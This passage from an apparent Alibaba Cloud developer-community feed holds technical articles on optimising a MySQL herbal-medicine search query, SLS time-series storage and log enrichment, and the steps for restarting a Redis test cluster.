            INNER JOIN 药方表AS r ON r.id = rc.药方表_id 
         WHERE 
             r.did = 40 
             AND r.timeline > 1576115196 
             AND rc.type_id in (1, 3) 
             GROUP BY 
        rc.i 
    • (3)索引
    KEY `idx_did_timeline` (`did`, `timeline`),
    • (4)分析

    驱动表与被驱动表,小表驱动大表。

    先了解在join连接时哪个表是驱动表,哪个表是被驱动表:

    1.当使用left join时,左表是驱动表,右表是被驱动表;

    2.当使用right join时,右表时驱动表,左表是驱动表;

    3.当使用join时,mysql会选择数据量比较小的表作为驱动表,大表作为被驱动表;

    4. in后面跟的是驱动表, exists前面的是驱动表;

    5. 11-6

    • (1)Explain
    6,DERIVED,rc,ref,"orderid_药材表,药方表_id",药方表_id,5,r.id,3,Using where
    • (2)Sql

    同上

    • (3)索引
      KEY `idx_药方表_id` (`药方表_id`, `type_id`) USING BTREE,
    • (4)分析

    索引的顺序没有问题,仍旧是in 导致了回表。

    6.8-5

    • (1)Explain
    5,UNION,malias,ALL,id_tid,NULL,NULL,NULL,4978,Using where
    • (2)Sql
     SELECT 
          mb.id, 
          mb.sort_id, 
          mb.title, 
          mb.py, 
          mb.unit, 
          mb.weight, 
          mb.tid, 
          mb.amount_max, 
          mb.poisonous, 
          mb.is_auxiliary, 
          mb.is_auxiliary_free, 
          mb.is_difficult_powder, 
          mb.brief, 
          mb.is_fixed_recipe, 
          ASE WHEN malias.py = 'GC' THEN malias.title ELSE CASE WHEN malias.title = 'GC' THEN malias.title ELSE '' END END AS atitle, 
          alias.py AS apy, 
          CASE WHEN malias.py = 'GC' THEN 2 ELSE CASE WHEN malias.title = 'GC' THEN 2 ELSE 1 END END AS ttid 
     FROM 
          药材表 AS mb 
          LEFT JOIN 药材表 AS malias ON malias.tid = mb.id 
    WHERE 
          alias.title LIKE '%GC%' 
          OR malias.py LIKE '%GC%'
    • (3)索引 
    KEY `id_tid` (`tid`) USING BTREE,
    • (4)分析

    因为like是左右like,无法建立索引,所以只能建tid。Type是all,遍历全表以找到匹配的行,左右表大小一样,估算的找到所需的记录所需要读取的行数有4978。这个因为是like的缘故,无法优化,这个语句并没有走索引,药材表 AS mb FORCE INDEX (id_tid) 改为强制索引,读取的行数减少了700行。

    7.9-5

    • (1)Explain
    5,UNION,mb,eq_ref,"PRIMARY,ix_id",PRIMARY,4,malias.tid,1,NULL
    • (2)Sql

    同上

    • (3)索引
    PRIMARY KEY (`id`) USING BTREE,
    • (4)分析

    走了主键索引,行数也少,通过。

    8.7-4

    • (1)Explain
    4,DERIVED,mb,ALL,id_tid,NULL,NULL,NULL,4978,Using where
    • (2)Sql           
    SELECT 
           mb.id, 
           mb.sort_id, 
           mb.title, 
           mb.py, 
           mb.unit, 
           mb.weight, 
           mb.tid, 
           mb.amount_max, 
           mb.poisonous, 
           mb.is_auxiliary, 
           mb.is_auxiliary_free, 
           mb.is_difficult_powder, 
           mb.brief, 
           mb.is_fixed_recipe, 
           '' AS atitle, 
           '' AS apy, 
           CASE WHEN mb.py = 'GC' THEN 3 ELSE CASE WHEN mb.title = 'GC' THEN 3 ELSE 1 END END AS ttid 
        FROM 
           药材表 AS mb 
          WHERE 
           mb.tid = 0 
           AND (
               mb.title LIKE '%GC%' 
               OR mb.py LIKE '%GC%'
                                    )
    • (3)索引
    KEY `id_tid` (`tid`) USING BTREE,
    • (4)分析

     tid int(11) NOT NULL DEFAULT '0' COMMENT '真名药品的id',

    他也是like,这个没法优化。

    9.6-3

    • (1)Explain
    3,DERIVED,<derived4>,ALL,NULL,NULL,NULL,NULL,9154,Using filesort
    • (2)Sql

      UNION ALL

    • (3)索引

    • (4)分析

    就是把真名搜索结果和别人搜索结果合并。避免用or连接,加快速度 形成一个munion的表,初步完成药材搜索,接下去就是排序。

    这一个进行了2次查询,然后用union连接,可以考虑合并为一次查询。用case when进行区分,计算出权重。

    这边是一个优化点。

    10.4-2

    • (1)Explain
    2,DERIVED,<derived3>,ALL,NULL,NULL,NULL,NULL,9154,NULL
    • (2)Sql
    
     SELECT 
           munion.id, 
           munion.sort_id, 
           case when length(
             trim(
                  group_concat(munion.atitle SEPARATOR ' ')
                            )
                        )> 0 then concat(
                            munion.title, 
                            '(', 
                            trim(
                                group_concat(munion.atitle SEPARATOR ' ')
                            ), 
                            ')'
                        ) else munion.title end as title, 
              munion.py, 
              munion.unit, 
              munion.weight, 
              munion.tid, 
              munion.amount_max, 
              munion.poisonous, 
              munion.is_auxiliary, 
              munion.is_auxiliary_free, 
              munion.is_difficult_powder, 
              munion.brief, 
              munion.is_fixed_recipe, 
              --  trim( group_concat( munion.atitle SEPARATOR ' ' ) ) AS atitle,
                        ##  --  
               trim(
                     group_concat(munion.apy SEPARATOR ' ')
                     ) AS apy, 
                 ##   
                   max(ttid) * 100000 + id AS ttid 
             FROM 
                    munion <derived4>
                 GROUP BY 
                    id -- 全部实名药材 结束##
    • (3)索引

    • (4)分析

    这里全部在临时表中搜索了。

    11.5-2

    • (1)Explain
    2,DERIVED,<derived6>,ref,<auto_key0>,<auto_key0>,5,m.id,10,NULL
    • (2)Sql
    Select fields from 全部实名药材表 as m  LEFT JOIN ( 个人使用药材统计表 ) p ON m.id = p.m药材表id
    • (3)索引

    • (4)分析

    2张虚拟表left join

    使用了优化器为派生表生成的索引

    这边比较浪费性能,每次查询,都要对医生历史开方记录进行统计,并且统计还是几张大表计算后的结果。但是如果只是sql优化,这边暂时无法优化。

    12.2-1

    • (1)Explain
    1,PRIMARY,<derived7>,ALL,NULL,NULL,NULL,NULL,3096,Using where; Using temporary; Using filesort
    • (2)Sql
    • (3)索引
    • (4)分析

    临时表操作

    13.3-1

    • (1)Explain
    1,PRIMARY,<derived2>,ref,<auto_key0>,<auto_key0>,4,msu.药材表id,29,NULL
    • (2)Sql
    • (3)索引
    • (4)分析

    临时表操作

    14.null

    • (1)Explain
    NULL,UNION RESULT,"<union4,5>",ALL,NULL,NULL,NULL,NULL,NULL,Using temporary
    • (2)Sql
    • (3)索引
    • (4)分析

    临时表

    (二)优化sql

    上面我们只做索引的优化,遵循的原则是:

    1.最左前缀匹配原则,非常重要的原则,mysql会一直向右匹配直到遇到范围查询(>、<、between、like)就停止匹配,比如a = 1 and b = 2 and c > 3 and d = 4 如果建立(a,b,c,d)顺序的索引,d是用不到索引的,如果建立(a,b,d,c)的索引则都可以用到,a,b,d的顺序可以任意调整。
    
    2.=和in可以乱序,比如a = 1 and b = 2 and c = 3 建立(a,b,c)索引可以任意顺序,mysql的查询优化器会帮你优化成索引可以识别的形式。
    
    3.尽量选择区分度高的列作为索引,区分度的公式是count(distinct col)/count(*),表示字段不重复的比例,比例越大我们扫描的记录数越少,唯一键的区分度是1,而一些状态、性别字段可能在大数据面前区分度就是0,那可能有人会问,这个比例有什么经验值吗?使用场景不同,这个值也很难确定,一般需要join的字段我们都要求是0.1以上,即平均1条扫描10条记录。
    
    4.索引列不能参与计算,保持列“干净”,比如from_unixtime(create_time) = ’2014-05-29’就不能使用到索引,原因很简单,b+树中存的都是数据表中的字段值,但进行检索时,需要把所有元素都应用函数才能比较,显然成本太大。所以语句应该写成create_time = unix_timestamp(’2014-05-29’)。
    
    5.尽量的扩展索引,不要新建索引。比如表中已经有a的索引,现在要加(a,b)的索引,那么只需要修改原来的索引即可。

    查询优化神器 - explain命令

    关于explain命令相信大家并不陌生,具体用法和字段含义可以参考官网explain-output,这里需要强调rows是核心指标,绝大部分rows小的语句执行一定很快(有例外,下面会讲到)。所以优化语句基本上都是在优化rows。

    化基本步骤:

    0.先运行看看是否真的很慢,注意设置SQL_NO_CACHE
    
    1.where条件单表查,锁定最小返回记录表。这句话的意思是把查询语句的where都应用到表中返回的记录数最小的表开始查起,单表每个字段分别查询,看哪个字段的区分度最高;
    
    2.explain查看执行计划,是否与1预期一致(从锁定记录较少的表开始查询);
    
    3.order by limit 形式的sql语句让排序的表优先查;
    
    4.了解业务方使用场景;
    
    5.加索引时参照建索引的几大原则;
    
    6.观察结果,不符合预期继续从0分析;
    

    上面已经详细的分析了每一个步骤,根据上面的sql,去除union操作, 增加索引。可以看出,优化后虽然有所改善。但是距离我们的希望还有很大距离,但是光做sql优化,感觉也没有多少改进空间,所以决定从其他方面解决。

    (三)拆分sql

       由于速度还是不领人满意,尤其是个人用药情况统计,其实没必要每次都全部统计一次,再要优化,只靠修改索引应该是不行的了,所以考虑使用缓存。

    接下来是修改php代码,把全部sql语句拆分,然后再组装。

    • (1)搜索真名,别名(缓存)
    SELECT  mb.id,  mb.sort_id,  mb.title,  mb.py,  mb.unit,  mb.weight,  mb.tid,  mb.amount_max,  mb.poisonous,  mb.is_auxiliary,  mb.is_auxiliary_free,  mb.is_difficult_powder,  mb.brief,  mb.is_fixed_recipe,  IFNULL(group_concat(malias.title),'') atitle,  IFNULL(group_concat(malias.py),'') apy  FROM  药材表 AS mb  LEFT JOIN 药材表 AS malias ON malias.tid = mb.id  WHERE  mb.tid = 0  AND (  malias.title LIKE '%GC%'  OR malias.py LIKE '%GC%'  or mb.title LIKE '%GC%'  OR mb.py LIKE '%GC%'  )  group by  mb.id

    • (2)如果命中有药材
    ①排序

    真名在前,别名在后,完全匹配在前,部分匹配在后

    //对搜索结果进行处理,增加权重
    ②对供应商药材搜索
    SELECT ms.药材表id, max( ms.audit ) AS audit, max( ms.price ) AS price, max( ms.market_price ) AS market_price, max( ms.is_granule ) AS is_granule, max( ms.is_decoct ) AS is_decoct, max( ms.is_slice ) AS is_slice, max( ms.is_cream ) AS is_cream, max( ms.is_extract ) AS is_extract, max( ms.is_cream_granule) AS is_cream_granule, max( ms.is_extract_granule) AS is_extract_granule, max( ms.is_drychip ) AS is_drychip, max( ms.is_pill ) AS is_pill, max( ms.is_powder ) AS is_powder, max( ms.is_bolus ) AS is_bolus  FROM 供应商药材表 AS ms WHERE ms.audit = 1 AND ms.供应商idin (  SELECT DISTINCT  ( ssof.供应商id) AS 供应商id FROM  药库供应商关系表 AS ssof  WHERE  ssof.药库id IN ( 1,2,8,9,10,11,12,13,14,15,17,22,24,25,26,27,31,33 )  AND ssof.药方剂型id IN (1) ) AND ms.药材表id IN ( 78,205,206,207,208,209,334,356,397,416,584,652,988,3001,3200,3248,3521,3522,3599,3610,3624,4395,4396,4397,4398,4399,4400,4401,4402,4403,4404,4405,4406,4407,4408,5704,5705,5706,5739,5740,5741,5742,5743,6265,6266,6267,6268,6514,6515,6516,6517,6518,6742,6743 ) AND ms.is_slice = 1  GROUP BY ms.药材表id  

    ③拿医生历史开方药材用量数据(缓存)
    SELECT  count( * ) AS total,  rc.i AS 药材表id FROM  处方药材表 AS rc  INNER JOIN 药方表AS r ON r.id = rc.药方表_id WHERE  r.did = 40  AND r.timeline > 1576116927  AND rc.type_id in (1,3) GROUP BY  rc.i

    ④  装配及排序微调

    • (3)小结

    运行速度,对于开方量不是特别多的医生来说,两者速度都是0.1秒左右.但是如果碰到开方量大的医生,优化后的sql速度比较稳定,能始终维持在0.1秒左右,优化前的sql速度会超过0.2秒.速度提升约一倍以上。 

    最后对搜索结果和未优化前的搜索结果进行比对,结果数量和顺序完全一致.本次优化结束。

    四、附录:

    
    SELECT sql_no_cache 
        *
    FROM
        (
            -- mbu start##
            SELECT
                m.*,
                ifnull(p.total, 0) AS total
            FROM
                (
                    --
    全部实名药材
    开始
    ##
    SELECT
           munion.id,
           munion.sort_id,
           case when length(
            trim(
                  group_concat(munion.atitle SEPARATOR ' ')
                     )
                 )> 0 then concat(
               munion.title,
              '(',
          trim(
                 group_concat(munion.atitle SEPARATOR ' ')
                  ),
                    ')'
                 ) else munion.title end as title,
            munion.py,
            munion.unit,
            munion.weight,
            munion.tid,
            munion.amount_max,
            munion.poisonous,
            munion.is_auxiliary,
            munion.is_auxiliary_free,
            munion.is_difficult_powder,
            munion.brief,
            munion.is_fixed_recipe,
            --  trim( group_concat( munion.atitle SEPARATOR ' ' ) ) AS atitle,##
            --  trim( group_concat( munion.apy SEPARATOR  ' ' ) ) AS apy,##
                  max(ttid) * 100000 + id AS ttid
               FROM
                  (
                    -- #union start
    联合查找
    ,
    得到全部药材
    ##
      (
           SELECT
                  mb.id,
                  mb.sort_id,
                  mb.title,
                  mb.py,
                  mb.unit,
                  mb.weight,
                  mb.tid,
                  mb.amount_max,
                  mb.poisonous,
                  mb.is_auxiliary,
                  mb.is_auxiliary_free,
                  mb.is_difficult_powder,
                  mb.brief,
                  mb.is_fixed_recipe,
                  '' AS atitle,
                  '' AS apy,
                  CASE WHEN mb.py = 'GC' THEN 3 ELSE CASE WHEN mb.title = 'GC' THEN 3 ELSE 1 END END AS ttid
                   FROM
                     药材表 AS mb
                         WHERE
                             mb.tid = 0
                           AND (
                                  mb.title LIKE '%GC%'
                                  OR mb.py LIKE '%GC%'
                                    )
                            ) --
    真名药材
     
    结束
    ##
     UNION ALL
        (
          SELECT
                mb.id,
                mb.sort_id,
                mb.title,
                mb.py,
                mb.unit,
                mb.weight,
                mb.tid,
                mb.amount_max,
                mb.poisonous,
                mb.is_auxiliary,
                mb.is_auxiliary_free,
                mb.is_difficult_powder,
                mb.brief,
                mb.is_fixed_recipe,
                CASE WHEN malias.py = 'GC' THEN malias.title ELSE CASE WHEN malias.title = 'GC' THEN malias.title ELSE '' END END AS atitle,
                malias.py AS apy,
                CASE WHEN malias.py = 'GC' THEN 2 ELSE CASE WHEN malias.title = 'GC' THEN 2 ELSE 1 END END AS ttid
              FROM
                    药材表 AS mb
                    LEFT JOIN 药材表 AS malias ON malias.tid = mb.id
              WHERE
                    malias.title LIKE '%GC%'
                    OR malias.py LIKE '%GC%'
                          ) --
    其他药材结束
    ##
                     -- #union end##
                    ) munion
                    GROUP BY
                        id --
    全部实名药材
     
    结束
    ##
                        ) m
                LEFT JOIN (
                    --
    个人使用药材统计
     
    开始
    ##
        SELECT
              count(*) AS total,
              rc.i AS m药材表id
         FROM
               处方药材表 AS rc
               INNER JOIN 药方表AS r ON r.id = rc.药方表_id
          WHERE
               r.did = 40
                AND r.timeline > 1576115196
                AND rc.type_id in (1, 3)
           GROUP BY
                  rc.i --
    个人使用药材统计
     
    结束
    ##
               ) p ON m.id = p.m药材表id -- mbu end ##
                ) mbu
        INNER JOIN (
            -- msu start
    供应商药材筛选
    ##
            SELECT
                ms.药材表id,
                max(ms.audit) AS audit,
                max(ms.price) AS price,
                max(ms.market_price) AS market_price,
                max(ms.is_granule) AS is_granule,
                max(ms.is_decoct) AS is_decoct,
                max(ms.is_slice) AS is_slice,
                max(ms.is_cream) AS is_cream,
                max(ms.is_extract) AS is_extract,
                max(ms.is_cream_granule) AS is_cream_granule,
                max(ms.is_extract_granule) AS is_extract_granule,
                max(ms.is_drychip) AS is_drychip,
                max(ms.is_pill) AS is_pill,
                max(ms.is_powder) AS is_powder,
                max(ms.is_bolus) AS is_bolus
            FROM
                供应商药材表 AS ms
                INNER JOIN (
                    SELECT
                        DISTINCT (ssof.供应商id) AS 供应商id
                    FROM
                        药库供应商关系表 AS ssof
                    WHERE
                        ssof.药库id IN (
                            1, 2, 8, 9, 10, 11, 12, 13, 14, 15, 17, 22,
                            24, 25, 26, 27, 31, 33
                        )
                        AND ssof.药方剂型id IN (1)
                ) tp ON tp.供应商id= ms.供应商id
            WHERE
                ms.audit = 1
            GROUP BY
                ms.药材表id -- msu end ##
                ) msu ON mbu.id = msu.药材表id
    WHERE
        msu.药材表id > 0
        AND msu.is_slice = 1
    order by
        total desc,
        ttid desc
    ]]>
    开放、普惠、高性能-SLS时序存储助力打造企业级全方位监控方案-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    无所不在的时序数据

    时间带走一切,长年累月会把你的名字、外貌、性格、命运都改变。 ---柏拉图


    随着时间的推移,万事万物都在不停的变化,而我们也会用各种数字去衡量这些变化信息,比如年龄、重量、速度、温度、金钱...在数字化时代中,我们会把这些随着时间变化的数据保存起来,挖掘这些数据的价值。通常我们会称这类数据为---时序数据。

    时序数据用于描述物体在时间维度上的状态变化信息。

    image.png

    时序数据在各行各业都得到了非常广泛的应用,例如股票走势、交易趋势、服务器指标、脉搏心跳、定位坐标、能耗趋势等等,而这些数据几乎在所有的场景中都得到了应用,例如:

    1. 各类炒股软件提供众多不同维度的股票K线图,为广大股民提供参考标准;
    2. Apple Watch通过监控佩戴者的心率信息,帮助人们提早发现严重的心脏疾病;
    3. 国家电网通过分析各个小区、住户的用电量曲线,来判断是否有偷电漏电情况;
    4. 电商类的公司会监控平台的下单、交易、退货、评价等关键流程的变化趋势,用来快速发现各类异常;
    5. 各个游戏平台通过分析每个用户角色的操作、位置等变化规律,来判断是否使用了作弊辅助工具...

    我们需要一个什么样的时序存储

    为了能够支撑各种场景的时序分析、监控等需求,近几年在开源和商业领域均出现了一些时序存储的引擎,例如TimescaleDB、CrateDB、InfluxDB、OpenTSDB、Prometheus等,这些存储引擎分别有自己的生态和适用场景,在某些场景下具有较高的优势,例如TimescaleDB基于PostgreSQL,如果是PG的用户可以快速上手;InfluxDB具有非常完善的生态,TICK(Telegraf、 InfluxDB、Chronograf、Kapacitor)可以快速上手;Prometheus对于云原生场景支持非常友好,PromQL也非常便捷灵活,已经成为Kubernetes上监控的实事标准。


    然而从实际公司的业务场景出发,对于时序数据会有更多的要求:

    1. 高性能:时序数据通常流量大、保存周期长且需要长时间的范围查询,能够支撑大规模的写入与快速查询是必备条件;
    2. 开放:通常公司内部会有多个部门对不同系统的时序数据进行不同类型的分析、监控等需求,因此时序存储需具备足够的开放能力,支持各种数据的接入以及下游消费;
    3. 低成本:这里的成本主要包括两方面:资源成本和人力运维成本。有摩尔定律的存在,单位资源成本越来越低,而单位人力成本每年都在提升,因此低成本的核心在于运维这套时序存储的人力成本;
    4. 智能化:尤其在海量监控对象的场景中,纯粹的静态规则很难发现某个监控对象的异常,因此时序存储上层需要附加智能化的算法,提升监控的准确率。

    SLS时序存储发布

    SLS的日志存储引擎在2016年对外发布,目前承接阿里内部以及众多企业的日志数据存储,每天有数十PB的日志类数据写入。其中有很大一部分属于时序类数据或者用来计算时序指标,为了让用户能够一站式完成整个DevOps生命周期的数据接入、清洗、加工、提取、存储、可视化、监控、问题分析等过程,我们专门推出了时序存储的功能,与日志存储一道为大家解决各类机器数据的存储问题。


    image.png

    时序存储整体架构如上图所示,接入层可以对接各类开源的采集软件以及SLS自己开发的高性能Logtail,同时支持各种语言SDK直接写入,也支持Kafka、Syslog等开放性协议;存储层是完全分布式架构,每个时序库可通过Sharding方式水平扩展,数据默认3副本高可靠存储;计算层与存储层分离,提供SQL、PromQL纯分析型语法,同时提供智能分析能力。基于SLS提供的采集、存储、分析等功能可快速构建企业自己的业务监控、微服务监控等方案。

    功能特点

    image.png

    SLS时序存储从设计之初就是为了解决阿里内部与众多头部企业客户的时序存储需求,并借助于阿里内部多年的技术积累,使之可以适应绝大部分企业级时序监控/分析诉求。SLS时序存储的特点主要有:

    1. 丰富上下游:数据接入上SLS支持众多采集方式,包括各类开源Agent以及阿里云内部的监控数据通道;同时存储的时序数据支持对接各类的流计算、离线计算引擎,数据完全开放;
    2. 高性能:SLS存储计算分离架构充分发挥集群能力,尤其在大量数据下端对端的速度提升显著;
    3. 免运维:SLS的时序存储完全是服务化,无需用户自己去运维实例,而且所有数据都是3副本高可靠存储,不用担心数据的可靠性问题;
    4. 开源友好:SLS的时序存储原生支持Prometheus的写入和查询,并支持SQL92的分析方法,可以原生对接Grafana等可视化方案;
    5. 智能:SLS提供了各种AIOps算法,例如多周期估算、预测、异常检测、时序分类等各类时序算法,可以基于这些算法快速构建适应于公司业务的智能报警、诊断平台。

    典型应用场景

    应用/业务监控

    image.png

    应用/业务监控是公司层面重要的工作之一,在阿里内部一直作为最重要的监控项在建设。通过SLS提供的各类数据采集功能将所有应用/业务数据统一、实时采集,利用数据加工把各个不同时期、不同风格的数据做结构化处理,基于结构化的数据就可以做一定的分析,但通常业务数据量级较大,我们还会使用SQL的聚合功能对数据进行一定的降维,使用降维后的聚合时序数据来做告警以及长期的监控指标回溯。

    云原生监控

    image.png

    随着云原生技术的普及,越来越多的公司开始技术转型到云原生架构,借助于Prometheus、OpenTelemetry等CNCF的开源Project可以快速采集到Kubernetes以及各类中间件、应用的监控信息,阿里云上的云监控获取到所有云产品的监控数据。利用SLS时序存储以及日志/Trace存储的能力,可以支持各类监控数据的统一存储,数据可无缝对接Grafana的可视化,在Grafana上构建基础设施、云产品、中间件、应用软件的全方位监控大盘。

    访问日志分析

    image.png

    访问日志作为网站、APP的入口流量记录,能够直接反映出当前应用是否正常,因此运维领域的必备监控项。通过Logtail采集原始的访问日志,可用来分析/调查每个用户的请求,也可用作归档/审计需求;但原始访问日志量较大,不太适合直接的监控,通常会通过预聚合的方式对数据进行降维,基于聚合后的时序数据进行实时监控,并可应用SLS提供的智能巡检功能对每个业务站点进行独立的智能监控。


    大家在使用SLS中遇到的任何问题,请加钉钉群,我们有专门的日志女仆24小时在线答疑,还有火锅哥和烧烤哥专业支持!~ SLS微信公众号定期会发布各类日志、监控领域的技术分享文章并定期举行抽奖,欢迎小伙伴们关注~


    另外欢迎对大数据、分布式、机器学习等有兴趣的同学加入,转岗、内推,来者不拒,请用简历狠狠的砸我,联系邮箱 davidzhang.zc@alibaba-inc.com !~
    image.png


    ]]>
    数据加工 - 日志富化实战-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 数据加工介绍

    数据加工是阿里云日志服务推出的一项功能,用于对结构化或非结构化日志进行实时ETL行处理。目前该功能包含了200+的算子,本文从富化场景出发,介绍如何在数据加工过程中使用富化函数。
    PS: 我们这里讲的富化,对应的是SQL ETL场景的join

    图片.png

    数据加工的入口:
    打开sls日志服务,选择相关logstore的查询页面后,可以看到有一个 “数据加工”的开关,打开这个开关就可以写数据加工的代码了。
    图片.png
    数据加工函数总览:http://help.aliyun.com/document_detail/159702.html

    场景设定

    本文以Nginx日志 http code富化为例抛砖引玉,帮助大家熟悉数据加工中的日志富化方法
    http返回码在访问日志中比较常见,将返回码富化,可以让我们更直观地看到每个请求的状态,做更多统计工作。

    图片.png

    下面是常见的http code码含义的映射表
    图片.png

    使用数据加工 进行日志富化

    方式1 - 使用res_local 高级参数

    假设,我们富化的数据是一个csv 保存了code的映射关系

    code,alias,category,description
    100,1xx,Informational,Continue
    101,1xx,Informational,Switching Protocols
    ...

    将code的映射关系保存为数据加工的高级参数,key为 http_code, 值为csv文件内容

    e_table_map(tab_parse_csv("code,alias,category,descriptionn100,1xx,Informational,Continuen101,1xx,Informational,Switching Protocolsn102,1xx,Informational,Processing (WebDAV)n200,2xx,Success,OKn201,2xx,Success,Createdn202,2xx,Success,Acceptedn203,2xx,Success,Non-Authoritative Informationn204,2xx,Success,No Contentn205,2xx,Success,Reset Contentn206,2xx,Success,Partial Contentn207,2xx,Success,Multi-Status (WebDAV)n208,2xx,Success,Already Reported (WebDAV)n226,2xx,Success,IM Usedn300,3xx,Redirection,Multiple Choicesn301,3xx,Redirection,Moved Permanentlyn302,3xx,Redirection,Foundn303,3xx,Redirection,See Othern304,3xx,Redirection,Not Modifiedn305,3xx,Redirection,Use Proxyn306,3xx,Redirection,(Unused)n307,3xx,Redirection,Temporary Redirectn308,3xx,Redirection,Permanent Redirect (experimental)n400,4xx,Client Error,Bad Requestn401,4xx,Client Error,Unauthorizedn402,4xx,Client Error,Payment Requiredn403,4xx,Client Error,Forbiddenn404,4xx,Client Error,Not Foundn405,4xx,Client Error,Method Not Allowedn406,4xx,Client Error,Not Acceptablen407,4xx,Client Error,Proxy Authentication Requiredn408,4xx,Client Error,Request Timeoutn409,4xx,Client Error,Conflictn410,4xx,Client Error,Gonen411,4xx,Client Error,Length Requiredn412,4xx,Client Error,Precondition Failedn413,4xx,Client Error,Request Entity Too Largen414,4xx,Client Error,Request-URI Too Longn415,4xx,Client Error,Unsupported Media Typen416,4xx,Client Error,Requested Range Not Satisfiablen417,4xx,Client Error,Expectation Failedn418,4xx,Client Error,I'm a teapot (RFC 2324)n420,4xx,Client Error,Enhance Your Calm (Twitter)n422,4xx,Client Error,Unprocessable Entity (WebDAV)n423,4xx,Client Error,Locked (WebDAV)n424,4xx,Client Error,Failed Dependency (WebDAV)n425,4xx,Client Error,Reserved for WebDAVn426,4xx,Client Error,Upgrade Requiredn428,4xx,Client Error,Precondition Requiredn429,4xx,Client Error,Too Many Requestsn431,4xx,Client Error,Request Header Fields Too Largen444,4xx,Client Error,No Response (Nginx)n449,4xx,Client Error,Retry With (Microsoft)n450,4xx,Client Error,Blocked by Windows Parental Controls (Microsoft)n451,4xx,Client Error,Unavailable For Legal Reasonsn499,4xx,Client Error,Client Closed Request (Nginx)n500,5xx,Server Error,Internal Server Errorn501,5xx,Server Error,Not Implementedn502,5xx,Server Error,Bad Gatewayn503,5xx,Server Error,Service Unavailablen504,5xx,Server Error,Gateway Timeoutn505,5xx,Server Error,HTTP Version Not Supportedn506,5xx,Server Error,Variant Also Negotiates (Experimental)n507,5xx,Server Error,Insufficient Storage (WebDAV)n508,5xx,Server Error,Loop Detected (WebDAV)n509,5xx,Server Error,Bandwidth Limit Exceeded (Apache)n510,5xx,Server Error,Not Extendedn511,5xx,Server Error,Network Authentication Requiredn598,5xx,Server Error,Network read timeout errorn599,5xx,Server Error,Network connect timeout errorn"),
                  [("http_code","code")],
                  [("alias","http_code_alias"), ("description","http_code_desc"), 
                  ("category","http_code_category")])

    效果:
    图片.png

    方式2 - 通过使用OSS文件实现富化

    假设,我们的http code映射关系存在一个文件里。格式如下:

    code,alias,category,description
    100,1xx,Informational,Continue
    101,1xx,Informational,Switching Protocols
    ...

    上传 http_code.csv文件到oss
    打开OSS控制台 http://oss.console.aliyun.com
    找到已有的bucket或者新建一个bucket,根据控制台指引上传文件

    图片.png

    使用加工,富化

    e_table_map(
          tab_parse_csv(
               res_oss_file(endpoint="oss-cn-shanghai-internal.aliyuncs.com",
                  ak_id=res_local("AK_ID"), ak_key=res_local("AK_KEY"), 
                  bucket="ali-sls-etl-test", 
                  file="http_code.csv", format='text')),
                  [("http_code","code")],
                  [("alias","http_code_alias"),
                   ("description","http_code_desc"),
                   ("category","http_code_category")])

    res_local 引用的值需要在高级参数里定义。

    图片.png
    效果:

    图片.png

    方式3 - 通过MySQL 表实现富化

    假设,我们的http_code映射关系存在一个mysql表里
    图片.png

    使用加工,富化

    e_table_map(res_rds_mysql(address="MySQL主机地址", 
                      username="用户名", password="密码",
                      database="数据库",table="表名", refresh_interval=300),
                  [("http_code","code")],
                  [("alias","http_code_alias"), ("description","http_code_desc"), 
                  ("category","http_code_category")])
                  

    注意: 数据加工支持vpc方法方式rds,配置vpc打通可以参考:https://help.aliyun.com/document_detail/162753.html
    效果:

    图片.png

    总结

    整体流程

    图片.png

    方法比较

    图片.png

    限制:所有维表限制在2G

    参考材料

    https://help.aliyun.com/document_detail/125489.html 富化函数
    https://help.aliyun.com/document_detail/129401.html 资源函数
    https://www.restapitutorial.com/httpstatuscodes.html http code码

    ]]>
    Redis学习笔记之集群重启和遇到的坑-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 重启集群的步骤

    以我的理解,Redis集群重启分2种:
    1.普通重启,继续保留现有集群结构和持久化数据。
    2.破坏重启,破坏掉集群结构和删除持久化数据,重启后相当于重新创建集群。
    当然,通常我们肯定用的是第一种了。那么集群的重启步骤也很简单,就是先关闭再开启,下面以我的测试环境来举例。
    一主一从,共6节点,都部署在一台服务器上。
    1.普通重启
    关闭集群:

    redis-cli -c -h 192.168.211.131 -p 7000 shutdown
    redis-cli -c -h 192.168.211.131 -p 7001 shutdown
    redis-cli -c -h 192.168.211.131 -p 7002 shutdown
    redis-cli -c -h 192.168.211.131 -p 7003 shutdown
    redis-cli -c -h 192.168.211.131 -p 7004 shutdown
    redis-cli -c -h 192.168.211.131 -p 7005 shutdown

    启动集群:

    redis-server /redis/redis-6.0.6/cluster/7000/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7001/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7002/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7003/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7004/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7005/redis.conf

    2.破坏重启
    关闭集群:

    redis-cli -c -h 192.168.211.131 -p 7000 shutdown
    redis-cli -c -h 192.168.211.131 -p 7001 shutdown
    redis-cli -c -h 192.168.211.131 -p 7002 shutdown
    redis-cli -c -h 192.168.211.131 -p 7003 shutdown
    redis-cli -c -h 192.168.211.131 -p 7004 shutdown
    redis-cli -c -h 192.168.211.131 -p 7005 shutdown

    删除持久化文件、日志文件和集群配置文件

    rm -f append.aof dump.rdb redis.log nodes*.conf

    启动集群:

    redis-server /redis/redis-6.0.6/cluster/7000/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7001/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7002/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7003/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7004/redis.conf
    redis-server /redis/redis-6.0.6/cluster/7005/redis.conf

    由于现有集群结构被破坏了,所以还要创建集群

    redis-cli --cluster create 192.168.211.131:7000 192.168.211.131:7001
    192.168.211.131:7002 192.168.211.131:7003 192.168.211.131:7004
    192.168.211.131:7005 --cluster-replicas 1

    这样一个新的集群就创建好了

    在知道了集群重启的步骤后,来说下遇到的坑。

    第一个坑

